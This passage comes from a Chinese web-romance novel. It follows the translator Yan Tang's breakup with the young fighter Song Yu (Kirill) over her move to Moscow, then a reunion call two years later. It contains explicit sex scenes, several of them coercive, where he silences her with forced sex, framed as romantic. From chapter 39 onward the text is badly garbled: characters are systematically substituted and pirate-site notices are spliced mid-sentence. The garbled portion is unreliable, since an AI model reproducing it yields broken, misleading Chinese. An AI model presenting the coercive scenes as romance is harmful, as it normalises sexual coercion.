其中一个大胆的问燕棠是不是毕业的学姐,得到了肯定的答案后,几个女生纷纷说“你男朋友好帅啊” “怎么认识的” “所以高考结束一定会有帅哥等着我们对不对! 燕棠笑着和她们说再见,一回头,宋郁也笑着看她,目光温温柔柔的。 “她们在夸你眼光好。” 他这眼神看得燕棠心热,她遮掩般转过头,拉着他往楼里走去。 “这里有存放旧书的图书室和校史馆,校史馆里其实就放着以前毕业年级的纪念册,包括年级第一的错题本,高考留言册之类的东西,开放给所有人参观。 燕棠带着宋郁在校史馆里转了一圈,让他感受一下中国高考的力量。 “有你的留言吗?”他问。 应该是有的。 燕棠在所有展示柜前都找了一遍,很可惜,她的本科并不出众,被拿出来展示的学生笔记、留言都没有她的。 但宋郁却对此很感兴趣,拉着她到一侧的架子上翻找,终于从一个角落里翻出了她所在班级的高考留言册,找到了属于燕棠的那一页。 不过宋郁只认得“燕棠”这两个字。 他指着她名字下方那两行清秀的字迹,问:“这是什么意思?" 燕棠的目光也落在这两行字上。 高考留言册是当年步入高中时,班主任让他们订立高考目标,写下励志的话用作鼓励自己奋斗拼搏的。 高一时写下,如今已经过去七年,她早就忘记自己写了什么, 以至于燕棠;凝视着那两行有些陌生的字,久久不能回神。 “我姓燕,燕子的燕。" “我要对自己说:好风凭借力,送我上青云!" 她已经记不得,原来自己还曾经有如此志气。 校史馆散发着一股陈旧日的气息,书架上落了灰,就连这本册子的书页也泛了黄。 七年一过,恍然如梦,现在看着这行字,燕棠鼻尖发酸。 “怎么了?" 温暖的掌心贴上她的脸颊,迫使她抬头。 燕棠凝视着身边的男孩儿,眸光闪动,没有回答他的问题,而是说:“我跟我爸妈说今天晚上不回家,他们同意了。" 从学校出来时是傍晚,宋郁得知她今晚可以陪他,心里特别高兴,带她去吃了个晚饭就立刻回到了酒店房间。 大门一关,他将燕棠整个人抱起来压在墙上,单手扯下她的肩带,又从她的裙摆下伸进去,直接脱她的内裤。 太久没做,竟然有点儿像第一次,两个人都疼了一下。 “你看,你不能离开我太久。" 宋郁伏在她身上,亲吻她紧皱的眉心。 燕棠不说话,只是捧着他的脸颊,与他亲吻,呼吸交缠。 只有门关的灯开着,房间里一片昏暗,两人在夜色里相拥。宋郁黏人得厉害,连事后洗澡都要跟她在一起洗,洗的时候要求也多。 “把手撑在墙上,脚踮起来。” "等等." 床单湿得一塌糊涂,保洁员上门换了一套被单,燕崇终于能躺在床上休息。 她刚钻进被子,宋郁就贴了上来,有一下没一下地摸她的身体,嘴上还忍不住说:“软软的!.” 燕棠被他弄痒了,身体瑟缩一下,没忍住按住他的手,翻身和他面对面,“休息会儿,别乱摸了。" “刚才你总是在摸我啊。 宋郁笑着将她拉进怀里,安静地抱着她。 "Kiril. “嗯?” “之前离开北京没有当面跟你说,是我的不对。我不应该逃避,也没想到你会这么在意。我真的很感谢很感谢你 “怎么突然又跟我道谢了?我说过不用跟我说谢谢。如果你真的想谢谢我,不如回北京后就多陪陪我。 燕棠默了片刻,起身打开台灯,转身看向他。 “有件事,我必须要跟你当面说。” 似乎是察觉到了她话语中的严肃,宋郁也坐起来,温声说:“什么事?你先坐来我怀里,我抱着你听你说。 燕棠没动,与他双目对视,缓缓道:“我得到了一个机会.……” 当她慢慢把这件事前因后果都告诉宋郁的时候,明显感觉到他原本温和的神情凝固了, “虽然莫斯科是我的家乡之一,但你知道我未来四年多数时间都必须留在北京,剩下的时间都要在国外比赛,而不是在莫斯科吧? “我知道。”她说,“可这个机会对我来说 “你累了,先睡一觉再说吧。”宋郁忽然打断了她。 燕棠愣住了。 还没等她反应过来,宋郁就把她拉入怀中,强行盖上被子。 他又恢复了往常那种温柔又惹人怜爱的语气,亲吻她的脸颊和眉心,“先休息。 “Kirill,我是认真的。 她说完这句话,忽然被他咬住了唇瓣。 宋郁就这么直接堵住了她的嘴,手伸入被子中,直接抬起她的腿。 “呜——!!!!”燕棠眼里冒了泪花。 37、致小天使 这场谈话不过是刚起了个头,燕棠的话语就直接被撞碎在被窝里了 她的体力远远比不上宋郁,结束后清理完,最终还是扛不住疲倦,迷迷糊糊睡了过去。 不过心里揣着事情,睡着时也并不安稳,不过半小时又疲倦地醒来。 房间的窗帘被拉开,窗外天空漆黑一片,夜色渗进房间里,模糊了每一个角落的模样。她翻了个身,发现床的另一边是空的,玄关处的墙边靠着一道修长的身影。宋郁正跟人在打电话,对面的全身镜隐约映出他脸上稍显冷冽的神情。“我要回莫斯科是我自己想回去。“不能过去的团队成员就给他们付违约金啊。"为什么还是不行?" “哥,我不是在任性。”他跟电话那头说到一半,忽然瞥向床的方向,发现她醒了,转身直接往浴室里走去,把门关上,隔绝所有声音。房间变得静悄悄的,空调冷气调得有些低。被子里还残留着一点宋郁的体温。燕棠用被子紧紧裹住自己赤.裸的身体,感受着那不属于她的温度。 过了一会儿,浴室内传来隐隐的争吵声,宋郁恼怒的声音让燕棠有些紧张。 她在被子里翻来覆去,最后望着窗外那轮朦胧的月亮打发时间。 又过了大概二十分钟,浴室门被打开,随后是沉沉的脚步声,她身后床垫塌陷,盖在身上的被子被猛然掀开。 燕棠吓得抖了抖,身上没穿衣服,她蜷着身体要伸手去抓被子,却被宋郁抓住脚踝拉到了身下。 他把手机重重扔在床上,言简意赅:“我要和你做。 说罢,宋郁拿过床头那盒避孕套倒在燕棠身边,头一次要她撕开帮他戴上。 燕棠借有月光看见他差到极点的脸色,心里猜到了那通电话的结果。 她觉得宋郁也许还需要一点时间接受,不想在这个时候刺激他,便顺着他的意思拿起了避孕套。 之前这个流程都是他自己做的,燕棠把避孕套撕开,半天没搞清楚正反面,套上去又扒下来,被一根超大号木棍指着脸,她脸红手抖得厉害, 末郁垂眸看着她,也不帮忙。 他满心欢喜地等燕棠跟自己回北京,结果只等来这个消息,又回想起前几天她相亲、原本准备考公的事情,越想越恼,越想越难过, “Kiri.…”燕棠不得其法,抬起眼看着他,试图求助。 宋郁被她这么看着,心里稍微消了气,终于出手自己把套戴好,握住她的小腿高高抬起,搭在他肩头。 “你知道莫斯科离北京究竟有多远吗?没有人比我更了解这两个地方的距离!" 他的声音又沉又急。 “快六千公里的距离,五个小时的时差” 高大的身体伏在她身上,结实的肌肉随动作起伏,不遗余力地攻击着燕生理和心理的双重防线. 燕棠被沉重的力道逼得无路可退,在空调房里都冒了汗,声音碎得不成样子。 “这是我自己挣来的机会,Kiril,你不明白,这对我来说很珍贵。" “那我呢?"他扣着她的后颈,逼她和自己对视。“你要是想去莫斯科继续读书,等过几年再去又有什么区别?我又没有要你攀附我!“可是这几年会发生什么,谁又说得定呢?" 宋郁动作一顿,目光沉沉落在她脸上。他终于捕捉到了什么,缓缓开口,问:“.…你不相信我?" “这不早佳任的门 “那是什么问题?是因为你还不够喜欢我?"末郁认为自己已经得到了答案,俯下身去与她鼻尖相对,长睫低垂,又放缓了声音“我做得还不够好吗?要怎么样才能让你更安心?你告诉我。” 他的目光直白又强烈,呼吸灼热,宽阔的肩背像牢笼般笼罩着她, 燕棠看见那双剔透的眼里充满着难过和不解,心里也像被针扎了似的。她伸出双臂,紧紧环抱住他的脖颈,低声说:“不是这样的,Kiril,对我来说,你真的像天使一样" 这话终于成功让宋郁又平静下来。 “我那天就告诉过你,我不喜欢分别。 宋郁拢起她的头发,从她的脸颊一路亲吻至肩头。沉重的双臂紧扣着她的腰际,逼她不得不与他亲密无间地贴在一起. “如果你没有骗我,是真的喜欢我,那我们就好好在一起,时间久了,不会有人反对。 燕棠背对着他,睫毛微颤,“没有人在反对我们。” 只不过也没有人看好这段关系,因为几乎所有人都能想到,这样的关系不用别人拆散,自己走着走着就散了。 而他们最大的差异就在这里,宋郁相信只要做得足够好,一切都会如人所愿,可燕不相信这一点。 她经历过太多次拼尽全力后却不尽人意,对世事无常有着更深刻的了解。 燕棠不知道未来会带给她什么,也不知道未来会带给宋郁什么。 他以后会遇见什么样的人、经历怎样的事? 会不会想要把热情和泪水给另一个女人? 会不会经历世事,学会了深思熟虑、三思后行、知难而退? 他见得太少,经历太少,路还很长,这不是她留在他身边就可以避免的。 燕棠无法把握住两人未来的变化,而她唯一能把握住的就只有自己的前途——能做到这一点,已经让燕棠知足了。 两个人掏心掏肺地把话说完了,谁也没有说服谁。 燕棠想得越多,跟基金会签约后去莫斯科深造的决心就越强,这决心沉沉地压过了儿女情长,依依不舍。 可她发现宋郁似乎并不是这么想的,他的想法也并没有丝毫地改变,甚至在察觉到她的)决心不可动摇后,以往撒娇要赖的手段,变成一种充满孩子气的、充斥着强烈不安的执拗,。 原本说在南市待七天,宋郁又延长了停留的时间,白天里假装无事地跟她在市区里闲逛,触及敏感话题就闭口不谈 等到了晚上,他却像是要把她于死在床上,还在网上搜了很多下流的玩法。 “当老师就要当到底,你得把这些姿势都教给我才行。" “我哪里做得不对,你可以批评我教训我,我会努力让你舒服的啊。 “要怎么样才让你满意?" 燕棠被惹恼了,往往只有扇他一巴掌才能让他老实一点,可这小子明明在赛场上抗揍得不得了,在床上一被打就开始哭。 甚至到发展到燕棠一抬手,他就睫毛一颤,漂亮的眼睛里立刻堆满了水色,鼻尖发红。 “为什么要这么对我?我只是在讨好你。他无法无天地质问燕棠,而燕棠无计可施、无可奈何。逼急了,她只能怒气冲冲地说:“那你的东西就不要对我翘起来啊!用了那么久,我都破皮儿了,它不难受吗?!"明明摩擦力也是相互的啊! 这场闹剧最终结束于宋璟来敲门。 南市持续了四天的雨终于停了,这天云层堆积,地面尽是积水,街巷里的树都变成了深浓的墨绿色,整座城市都像是蒙上一层阴沉的滤镜 宋郁刚从健身房训练回来,正想带着燕棠出门,就听见门外响起亲哥的声音,脸色也和这天气一样阴沉。 “你联系了我哥?你怎么会有他的联系方式?”他不敢置信地问燕棠。 羽区士你完的 宋郁盯着她看了几秒,“我以后是不是该要求互查手机?" “别那么幼稚。”燕棠无奈地说,“你不能把我一直拴在身边,这样耗下去没有意义。 外头敲门声渐紧,宋郁不得不去开门。 宋璟出现在门口,冷淡地扫了亲弟一眼,“你还要欺负人家到什么时候?跟我回去。 他不是一个人来,身后还跟着两位个头同样高大的男人,燕棠跟他们家打交道久了,知道这两个人名义上是司机,实际上是保镖,这架势颇大,看得她也有些怵。 宋郁看见亲哥身后的人,脸色更加难看,“我的事情不需要你管。“ 兄弟俩还是离开了房间,避开燕棠说话。燕棠没有走,也没有继续在这个充满了荒唐记忆的酒店房间里停留,在酒店大堂角落的沙发坐下等待 过了将近一个小时,燕棠才看见宋郁和宋璟乘电梯走了出来。宋璟跟她打了个招呼,没有多说什么就走了,跟在他们身后的男人提着宋郁的行李箱,也直接出了酒店 宋郁走到她身边坐下。 不知道是听他哥说了些什么,他身上萦绕着一种沉默压抑的气息,过了许久才侧过脸看她,碎发落在额前,长睫下的瞳孔一如她第一次见时美丽 “我始终不理解你为什么那么坚持,甚至会把我哥叫过来带走我。 也的声音里情绪不明。 “跟我回北京吧。莫斯科很冷,一个人生活在那里的时候更加冷.…. 燕棠垂下眼,目光没有焦距地落在地面上,“恐怕不行。 “那以后该怎么办?”宋郁目光始终落在她脸上,观察着她的神情,“你是不是也早就想好了?告诉我。” 燕棠深吸一口气,缓缓道:“Kiri我不希望我们的关系变得令人惴惴不安。"说她胆怯也好、说她现实也罢,燕棠宁愿这段感情停在最美的时候,而不希望白己有一天要眼睁睁地看着他们因为距离而逐渐冷却 两人之间陷入了可怕的安静。 过了一会儿,宋郁才开口:“说到底,你还是不相信我。” 他顿了顿,又说:“可是如果不把你看好,你就会立刻跑去见新的男人。 燕棠失笑:“你不要污蔑我,我已经向你解释过之前的事情了。 “那你以后能不能不要和别人见面-她打断了他的话,低声说:“我们不应该在这个时候对彼此许下任何承诺,那都是不负责的。宋郁不说话了。他静静地看着她,用目光描着她秀丽动人、温和安静的眉眼.随后微微低下头靠近她,秀挺的鼻尖几乎触碰到她的脸频。 “老师,你是个狠心的女人。"他这么说,“我哥哥告诉我要接受不是所有事情都会如我所愿。但教会我这件事的人是你,从来没有人能像你让我这样难过。 燕棠抬起眼看向他,那双漂亮的眼睛里映着她略显仓惶的神情。 人总是要长大的,也许宋郁之后就会真的明白,不会因此而生气了。 可在这一刻,燕棠情愿他永远不会懂这些复杂的思虑。 十八岁的宋郁是如此的天真、热忱、潇洒自信,她真希望这世界不要让这个可爱的男孩子变成另一副模样。 “Kirill “没关系。”宋郁收回了目光,“我原谅你。 这话钻进她耳中,终于把燕棠的眼泪给逼了出来。不过这泪水还没落下,就被身边的男孩儿轻柔擦去燕棠想,她会永远记得这个男孩子,曾经在她站在最低谷的时候,俏皮又温柔替她擦去过很多次泪水。从上南去的 宋郁离开后的第二天,燕棠就跟基金会完成了签约流程,并且在一周后通过了前往莫斯科参与培训营的申请审核。 接下来要忙碌的事情就变多了起来,办理新签证、承接机译工作、提前准备培训营的学习工作。既然选了这条路,就只能一直走到果,走到最高处,燕崇必须要得到带二年的入学申清资格,这意味着地必须要花费全部努力在培训营中证明自己。 当她开始收拾行李,准备前往莫斯科的时候,忽然从旧行李箱里翻出了一沓草稿,是她之前在准备《苦月亮》第二轮评奖时的练习讲稿。 现在回想起来,那时候她在陪同宋郁训练期间还在练习演讲,宋郁作为实际意义上的老板,还能好脾气地陪练,真是件不容易的事情。 燕棠有些感怀地翻看着这沓草稿,翻到最后一页时猛然顿住, 这本诗集的最后一首诗,预示着这段爱情无疾而终的结局: 我该如何向你诉说一轮月亮的灭亡始于在地平面消失前的那一刻当她看见不可触及的晨曦时 这一段讲稿,连带着中俄双语的诗句,不知道什么时候被人划得乱七八糟,一道箭头指向一旁空白处,那里写着几行中文。字迹稚嫩,像是刚学中文没多久,不过一笔一划很工整,看来写的时候还记得老师的叮嘱.这是一首和他的字迹一样稚嫩的,带着孩子气的小诗,名字叫《致小天使》。旁边还写着一行俄语备注:我不喜欢这样的结局! 38、一通电话 两年后。 “在莫斯科的生活还习惯吗?那里跟北京差别很大吧。 “挺习惯的。那里的冬天更冷一点,景点之外的居民区和中国城市很像。莫斯科是首都嘛,其实经常能遇到中国游客,有时候像是走在哈尔滨哈哈哈。 “那就好。这次回北京准备待几天?" “明天就回去了,后天基金会在莫斯科办了个在俄译者交流会,学校也还有事情。 自从燕棠去年顺利从培训营拿到优秀译者评奖,通过考核进入大学翻译系进修研究生学位后,她手上至少转着三样事情——翻译、论文、各种小考大考,大多数时间都忙得脚不沾地。 这次借本科母校邀请回校交流的机会,燕趁在北京还有点儿时间,专程约了章主编吃饭。 寒暄过后,章叙慈又打量了燕棠好一会儿,只觉得面前这姑娘变化真大,早两年跟人说话时还是有些怯生生的,一股子学生气儿,现在虽然模样没怎么变,但气质就是稳了许多。 她忍不住赞叹:“出国两年变化挺大啊,锻炼了不少吧? 燕棠笑着说:“去年在培训营认识了不少前辈,涨了见识,后来考进翻译系就琢磨着尝试自己挑俄文书立项翻译,基金会在这方面很宽容,给我机会尝试了一下,这一年眼俄罗斯的出版壮和作家打了不少交道.…" 说着,她叹了口气,“各式各样的人都有,好在最后还是成功推了一本书出来,上个月刚交稿。 “不错啊,你是不是想转型?" 章主编问到点上了。燕棠点点头,把这次见面最想聊的问题提了出来, “我在想和出版社合作策划出版项目——不只是一本书,而是基于特定主体的系列书籍。但这只是个设想,这次来也是想顺带跟您咨询一下,现在国内图书市场的情况是怎么样的。 两人聊了很久,结束时已经是晚上十点多。 九月的北京夜晚炎热又热闹,吃饭的地方定在国贸附近,燕棠打车回酒店,碰上晚高峰,整条马路堵得水泄不通。 燕棠很久没回来,凝神看向窗外,车恰好路过一片小路,灯光昏暗,窗上映出她的脸庞 两年的时光的确让她改变了。 秀气的眉眼温和舒展,精神头儿没被忙碌的工作磨去,耳边的珍珠耳钉泛着莹白的光,更多了几分温润的气质 司机征求她意见后直接打了个转,往北边儿绕开拥堵路段,恰好路过工体,路边一溜儿的夜店豪车。 其中最显眼的招牌上用荧光字体写着“Legend”,在燕眼前一晃而过。色彩张扬肆意,门口站着不少排队准备进入的年轻男女,里头有个男孩儿个子特别高,戴着棒球帽,牵着另一个女生的手燕棠愣了片刻,目光定在那人身上。车往前开,方向变换,她看清了那男孩儿陌生的侧脸,这才发现认错了人。司机是北京大爷,热情跟她搭话:“姑娘是外地人来旅游?"“算是吧,来北京办事儿。”“哪儿人啊?"“南市人。" “嚯,听不出南方口音啊。“在北京生活过几年。”燕棠笑了笑,不再接话。 “外地人在北京确实是难留下来。”司机又说。 她买了第二天清晨从北京飞莫斯科的航班,到酒店后没睡多久就爬起来直冲机场,整个人困得晕头转向,一路进安检过海关都在连连打呵欠。 所以当她远远看见登机口处站着一个身形高挑的男人时,还以为自己没睡醒看花眼了。 他穿着一身浅色衣裤,拎着个随身行李箱站在头等舱专用通道,正跟人在通话。 燕棠站得很远,于是只能大约看到他的身形和面部轮廓,熟悉感扑面而来。 她拎着行李箱绕到后面,走进了一看——黑头发,神色冷淡一如既往。 音然在这用碰到 /宋箝鹺玲摻卡菁 其实燕棠这两年见过几次宋璟,不算太奇怪,毕竟她签约的基金会上头的实际管理者就是姓宋的。 现在是年中,恰好是公司内部开各种半年度会的时候,她这次回莫斯科准备赶去的译者交流会就是基金会这一年里最重要的交际场合之一,估计宋璟过去也是去开会。 不过好在没了那一层关系,燕棠作为签约的小译者平常只和编辑部打交道,跟管理层连碰面的机会都不会有,过去也只是远远见过。 这一次坐飞机,宋璟坐的是头等舱,最先上飞机,最先下飞机,燕坐在经济舱,没和他正面迎上,免了许多尴尬。 飞机抵达莫斯科的时候是晚上七点多,夕阳落下,天空是一片雾紫色。 燕棠直接打车回了在列宁大街租住的房子。 这里的小区多是苏联时期的预制板楼,楼高且密,一户户人家的窗户如整齐排列的格子,三幢大楼围成C型,中间是一处儿童乐园. 回到家中,灯光照亮了温暖的木质家具和厚重的挂毯,让她连续几天的疲惫消散大半 说来奇怪,虽然燕棠在北京生活的时间更长,但她却觉得莫斯科更像是第二故乡。 大概人有了独立生活的能力后,才能感到安定,她在这里租了房,有稳定的收入来源,目前在大学里刚念完研一,所有的社会关系都在这里生根发芽。 第二天,燕棠到基金会总部正准备找编辑部负责人玛莎谈立项的事情,很不幸地听说所有部门的老大都开会去了。 “听说去年业绩不如预期,小老板在发火呢。"燕棠进入基金会办公区,恰好碰上她在培训营认识的好朋友冯橙。这一栋大楼里,基金会总部在三楼,其他楼层则分属其他行业领域的公司,但无一例外都姓宋,最顶部的三层据说是超豪华的会客处,有艺术展厅、专门餐厅和厨子,还有一个巨大的会议室。"小老板就在那个会议室里骂人,各部门负责人都在排队挨训。”冯橙感叹般摇摇头,“打工人太悲惨了,还是当自由译者好,一人吃饱全家不愁。她顿了顿,又说:“可是小老板真帅,刚才我还在楼下看到他了,混血混得也太好了。总公司官网有他爸的照片,就不知道他妈妈长什么样儿了。’燕棠正给玛莎发消息,听冯橙这么说,顺嘴就道:“跟仙女儿似的。" “就跟你见过似的。”冯橙笑她。 今天的译者交流会就在这一层举办,来了不少编辑、译者和作者,燕棠和冯橙一起在会场转了一圈,遗憾地发现玛莎仍然不在。 她又等了十几分钟,终于收到玛莎的回复。 玛莎的语气里充满了抓狂,让她上顶楼的咖啡厅见面,还请她顺便帮忙买杯咖啡续命。 电梯一路往上,在顶楼停下后缓缓打开,一股充满资本主义气息的香味便扑鼻而来。 群高管坐在咖啡厅里,无论男女都穿着裁剪精致的西装,一个个的面色严肃,气氛冷得像是在北极圈燕棠绕到咖啡厅另一侧,点了两杯咖啡。她不想挤到北极圈里,就靠在一侧的廊柱边给玛莎发消息说自己到了。过了一分钟,玛莎说Iya快骂完人了,她很快出狱,让燕棠再等等。这里楼层高,落地窗开阔,像一处天然观景台,往外一望,能远远看见红场和克里姆林宫燕棠看了会儿风景,转身准备去取咖啡,猛然看见一个人站在取咖啡的桌台边,脚步迅速顿住。然而对方已经注意到了她,神情微微一怔,随后面色如常地跟她打了招呼,甚至帮她把咖啡拿了过来。 “你好,Yana。”宋璟说。 燕棠看着他那张脸愣了几秒,回过神来后也冲他笑笑,“您好,llya先生。 两人站在落地窗边寒暄了两句,宋璟问:“好久不见,最近怎么样?" “挺好的,您呢?"“工作罢了。你在忙学业和翻译?“这学期结束后就只剩下论文了。“你来这里是找人?"“旦我找玛苏相聊聊T东00工3 宋璟听她提立项,顺口多问了几句,听她初步说了大概计划后点点头,“挺有想法的。 默了两秒,燕棠握着咖啡杯抬头,透过窗子又看到了宋璟那张俊秀的脸。 她缓声问:“Kiri最近怎么样?” 宋璟喝了口咖啡,“我以为你们还有联系。 严格来说,他们的确还是有联系的。 尽管燕棠知道宋郁离开时心里有气,但他们没有删去彼此的微信 大概是在中国上大学的原因,宋郁的微信用得越来越频繁,还经常发朋友圈,燕棠经常能刷到,算是间接知道了他的许多消息。 比如他在大学里念的是国际关系,认识了不少其他国家的留学生同学,同系也有很多体育生,同学们一起唱k自习,露营野餐,比燕崇那时候读本科时过得要精彩多了。 其中少数照片里还有他和朋友们的合照,宋郁总是站在人群中心,是最显眼,最好看的那个。 燕棠刷到这些照片的时候,也还是会忍不住点看瞧瞧。 那就是教师节。不过现在是九月十二号,教师节已经过了,燕棠这次并没有收到宋郁的消息她直觉性地感到有些担忧。 这两年里,宋郁也会在一些节日里给她发祝福短信,不知道是群发还是单发,不过有一个节日,燕棠确定他是单独给她发祝福的。 “他最近不太好。”宋璟说。 燕棠微微一怔,又听他说:“前几天刚刚比赛结束,旧伤复发了。" 在会议室被训了一个小时,急急上完厕所的玛莎终于赶过来了,随即悚然看见低气压中心正站在燕棠旁边,两人像是很熟的样子。 “llya?Yana?”她面露惊愕,目光在燕棠和宋璟之间来回徘徊。 “你们有事先谈吧,不打扰了,我稍后还有会。” 宋璟说完就离开了。 这一晚,燕棠回到家中,打开了电脑。 她这两年仍然保持着关注UFC的赛事的习惯,只不过前段时间太忙,还没有看近期的比赛。 点开赛事平台网站,找到对应场次,点开视频,戴上耳机。 比赛在墨尔本进行,会场极大,坐满了观众,比赛聚光灯落在八角笼中,四周就陷入了黑暗。 燕棠在视频里看见了宋郁。两年的时间不算太长,只是因为很久没见,总觉得每一次在视频上看见他,似乎都有了些变化他脸上略显柔软稚气的面部线条,逐渐变成像哥哥那样锐利的美。身姿依旧挺拔,高大结实的身体对上强壮的对手,在敏捷和力量上仍然有着压倒性的优势。不知道从什么时候开始,圈内就传言宋郁的左膝处有旧伤,一些对手行事不够亮堂,就喜欢挑他的左膝攻击,而每当这时,宋郁总会被激怒。视频里,燕棠注意到他扫踢后收腿的动作出现了些许迟疑,显然他的对手也察觉到了,直接制住他的左侧脚踝.宋郁迅速反应过来,一个回旋踢将对方直接踢倒,但这一个动作也使他所有维持平衡的缓冲力道落在了左腿上。接下来的对赛突然变得血腥,宋郁发了狠似地把人按在地上打,满地鲜血 她算是格斗比赛的老观众,能看出宋郁在这场比赛里赢得很不爽利。 大概是不想在镜头面前展露出弱势,他最后是强忍着左膝的不适,沉着脸独自走下了八角笼。 燕棠关上电脑,在家里来回走了两圈。 老房子隔音不好,墙面的挂毯也挡不住楼道的声音,小孩儿又在楼下的单杠上吊来吊去,小情侣们散步回来,嘻嘻哈哈地路过她的门口. 闹得她有些心烦。B责具交1GL两人的对话框还停留在春节的时候,宋郁发了一个小狗祝新春的表情包,祝她学业和工作顺利,她也客客气气地回了祝福语,祝他早日拿到金腰带末郁迟迟没有回复,也不知道现在是在墨尔本还是回了北京,燕放下手机 今天跟玛莎聊完立项的事后得到了积极的回应,之后就可以着手去准备了。 精神松懈下来,她洗了个澡就早早地躺上床,大概是这几天太忙,九点多时就睡着了。 过了两个小时,手机忽然震动。 燕棠睡意朦胧地睁眼,看到是个陌生的本地电话,在挂掉和接通之间犹豫片刻,还是点了接通。 “哪位?" “是我。 那边传来一道熟悉又陌生的声音。 39、他笑着说 那下终于稍微缓又神没,“没什么,今天碰见也哥哥,听他烁鲢受伤说, 所以斯给也发说消息。 “谢谢也个关心。”他温声说。 “也现他好地点儿说吗?" “时太好。" 那下脑子得搜索说地遍慰问个话,缓缓开口:“那也要好好休息。 “嗯。 宋话说完,电话两头都安静下没,只听得见对方细微清浅个呼吸声。又说地出儿,那边又问:“斯现他就他莫斯科做康复,也后天很空吗?那下从地旁个被子得摸出ipad,点开日程看说地眼.真上时巧5,作后天要去找地位 请移步晋江文学城 .jijw xc. 查看最新正版小说内容叫做塔季扬娜个作家郁作个代理商谈翻译版权个事情。塔季扬娜常年旅居世界各地,实他太难约说,上作追说三四个月才逮天就回俄罗斯探亲时定下个日程。作盯天自己个日程没吱声,随后听宋郁平静地问:“又时方便吗?"见面宋件事真很些尴尬,其实宋两年得,宋郁每半年都出回地次莫斯科看望外祖父母,抵达个时候沂贬问作很没很空,要时要见个面吃个饭。他发没消息个语气明显看得出只上叙!旧个意思,可也时知道上时上天公时作美,他每次没,那下饸好就很事,要么上郁朋友约好说去别个地方旅游,要么上碰上学期考试或者上翻泽交稿截止。时巧个次数多说,就很点儿像作故意躲天他似个。那下时得时诚实地说:“斯那天要飞去摩尔曼斯克谈事。那边安静说几秒,也时知道他想什么。作以为对方要挂电活说,却没想下地秒又听他轻巧地说:“抱歉,刚才他看日程,正巧斯郁朋友们也准备去那得玩,既然都他地个地方,斯请也吃个饭吧,也具体哪天很空?那下觉得末实他上很巧。作眉头皱起,转念又想摩尔曼斯克个九月正好上看极光个好时候,许多就都选择末个时候又去旅游,似乎也时奇怪。 于上宋顿饭就宋么定说下没。 那下本科时他莫斯科交换,最远只去又地次圣彼得堡,其余时间全部他图书馆埋首苦学俄语。 那时作没见又太多东西,对更远个地方很种天然个恐惧感,但宋玩意儿种粹就上地个祛魅个又程,作他大四那年跟天宋郁飞没飞去,发现出远门也时又如此。 宋两年居住他莫斯科,那下开始独自去许多地方游玩,去年刚去又地趟摩尔曼斯克,算上熟门熟路 摩尔曼斯克他俄罗斯个西北角落,位于北极圈内,往西上芬兰,往北就上北冰洋,北大西洋暖流淌又海岸,让宋得成为世界知名个时冻港. 宋得上个旅游个好地方,但因公出差没宋得就完全上另地种心情, 九月虽然时下雪,但上雨多风大,那下坐个上小型客机,抵达宋天恰好碰上降雨,临近降落时颠簸说好地阵,地出机场立刻冷到想大叫。 塔季扬娜住他市区,两就约他作家见面,那下定说离得最近个地家商务酒店,朱晚就近找餐厅吃说顿饭,捧天杯热茶他酒店房间得开始请移步晋江文学城wNW。jwxc 查看最新正版小说内容写立项策划书。 前期找章叙慈郁玛莎宋两位大编辑聊,只上碰说下可行性,他基金出系统得完成说立项登记,意味天各部门可以配合作进行地些初期工作,但项目真正开始,还得等策划书他基金出个项目管理组审核通又。 基金出宋些年相当于他中俄文化市场当中间就,地边对接泽者部作者,另地边整合出版社资源,内部对胶堙率很高,上个很时错个平台,但相应个上要求也非常高,如果看时到销路,点子说得再好听也没用。 那下列说几位要预先谈合作意向个作家,为首个就上塔季扬娜。 作之前那本译作《苦月亮》就上塔季扬娜写个,他国内销量很好,也给那下带没地笔可观个收益。如果作末次项目得包含个作家很国内个销售作品先例,策划书又出概率出高很多。 第二天下午,那下带天自己个译作、精心准备个小礼物郁最新版本个策划书敲开说塔季扬娜个家门。 尽管作们已经通又邮件联络多次,宋还上两就第地次见面。 塔季扬娜很棕红色个头发郁碧蓝色个眼睛,时笑时很天斯拉夫就特很个严肃,地笑起没就变得很随郁。 “Yana。”作郁那下拥抱说地下, “也个样子郁斯想个地模地样。 那下也笑说,“也也上,真高兴能郁也见面。 郁作家打交道,尤其上郁很个性个作家打交道,地定时能立刻谈正事,那显得太又功利。 那下他宋上面吃又亏,郁塔季扬娜坐下没后没很天急,而上跟作漫无目个地闲谈。 大概上早就通又文字神交,译者郁作者之间很地种奇怪个共鸣感,两就迅速地熟稔起没。 从旅游见闻聊到文学作品,从俄罗斯历史聊到美学风格,又从咖啡郁茶个口味聊到睡又个男就。 “也只很又地个?”塔季扬娜端天茶杯,眉毛扬起,“中国就?俄罗斯就?" “中俄混血。” 那下把塔季扬娜个作品都读完说,对作直白个风格毫时意外,为说郁作搞好关系,倒时介意提起以前个事情。 “那也很很效率,斯鲜倍每个品种单独尝地次。"塔季扬娜笑天说:“他上做什么个?时同职业个男就也很时地样。" “上位格斗选手。 塔季扬娜忽然用地种惊讶个目光将作从头到脚又扫说地遍,给作又倒说杯茶。 “谢谢。 请移步晋江文学 城w ww.jwxc 查看最新正版小说内容那下端起茶杯刚壕偷口茶,又听见塔季扬木偷:“斯最鲜倍郁很个性个就打交道,比如像也宋样个,小小个身体,核弹地样个能量。"地口茶水入喉,还没没得及进入肚中,反把那下呛得昏天黑地。塔季扬木偷解《苦月亮》他中国个销售情况,对那下郁基金出都信得又,为就相当爽快,直接给自己个代理商发说消息。还未谈及策划书地个字,合作意向就宋么顺利地确定下没,剩下个流程由基金出个法务部出牵头进行。那下本没以为都塔季扬娜个沟通出至少持续两天,毕章作家们对自己作品个各种权属都相当小心》,还特意他摩尔曼斯克订说两晚个住宿,郁末郁约好个见面也定他第二天晚上。事情提前顺利结束,作心得特别高兴,他晚上把后续对接事项通又邮件发送给基金出负责部门,直接给自己放个假,准备第二天他摩尔曼斯克转地转。那下上次没摩尔曼斯克上他冬天,宋座城市被风雪覆盖时,白天上灰调,傍晚上蓝调,夜得就进入沉郁个黑色。街边个房子常常上高饱郁度个蓝色郁橙色,但重工业仍然上宋座城市个基调,高耸个烟囱冒天滚滚浓烟,更高个灰白色建筑墙上上带天红星盔帽个战士画像他时冻港地旁个高地上,巨大无比个阿廖沙纪,念碑,像地道高大沉默,强悍坚毅个卫士,从1974年开始伫立他宋得,迎天巴伦支海上飘没个风雪,纪念天战争个胜利。那下他下午坐车抵达绿角,顺天高坡独自走到阿廖沙纪念碑边,宋得地势高,地眼就能看见停泊他港湾处那艘黑白色个列宁号核动力破冰船,往更远处眺望,能俯瞰整座城市。摩尔曼斯克昼短夜长,下午三